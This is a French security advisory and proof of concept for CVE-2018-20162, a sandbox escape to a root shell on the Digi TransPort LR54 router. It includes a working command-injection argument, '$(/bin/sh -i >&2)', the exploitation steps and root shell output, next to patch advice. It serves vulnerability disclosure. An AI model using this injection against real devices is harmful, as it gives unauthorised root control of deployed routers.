
Preuve de concept d'exploit pour CVE-2018-20162 : évasion de sandbox dans le routeur LTE Digi TransPort LR54 via une faille de gestion SIGINT, permettant un accès root au shell.
Le Digi TransPort LR54 est un routeur LTE haut débit couramment utilisé par l'industrie, les infrastructures, le commerce de détail et les transports publics.
Il prend en charge l'exécution de scripts Python dans un bac à sable restreint et dispose d'un shell personnalisé accessible via SSH, soumis aux mêmes restrictions. Le système d'exploitation sous-jacent est donc inaccessible à l'administrateur.
J'ai trouvé un moyen de sortir du bac à sable et d'obtenir un shell root en exploitant la façon dont l'interface en ligne de commande gère les arguments de ligne de commande lors de l'exécution de scripts Python :
Lorsqu'un processus Python interactif reçoit un SIGINT (via CTRL-C), les arguments du script ne sont pas correctement échappés lorsqu'ils sont transmis au gestionnaire de journalisation des erreurs de l'interface interactive. Cela permet à un attaquant d'exécuter des commandes arbitraires en tant que root.
Pour exploiter cette vulnérabilité, un attaquant doit avoir un accès interactif à l'interface en ligne de commande avec des privilèges 'super'. Un utilisateur disposant de ce niveau d'accès est activé par défaut sur l'appareil.
Digi Transport LR54 (et peut-être des produits associés comme WR64 et WR54)
Version du firmware : 4.4.0.26 10/29/2018 21:14:06 Version du firmware : 4.3.2.24 09/06/2018 00:58:34
Et peut-être des versions antérieures
Les utilisateurs devraient mettre à niveau vers la version du firmware 4.5.1.4 ou plus récente. Les secrets stockés sur l'appareil, comme les clés privées et les phrases de passe, devraient être changés par précaution.
sleep.py vers le LR54 en utilisant scp ou sftp, contenant :import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
Appuyez immédiatement sur CTRL-C après le démarrage du programme
Vous êtes alors déposé dans un shell racine interactif
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
Vulnérabilité découverte par Stig Palmquist.
Merci à @duniel_pls et @alexanderkjall pour la relecture de ce rapport.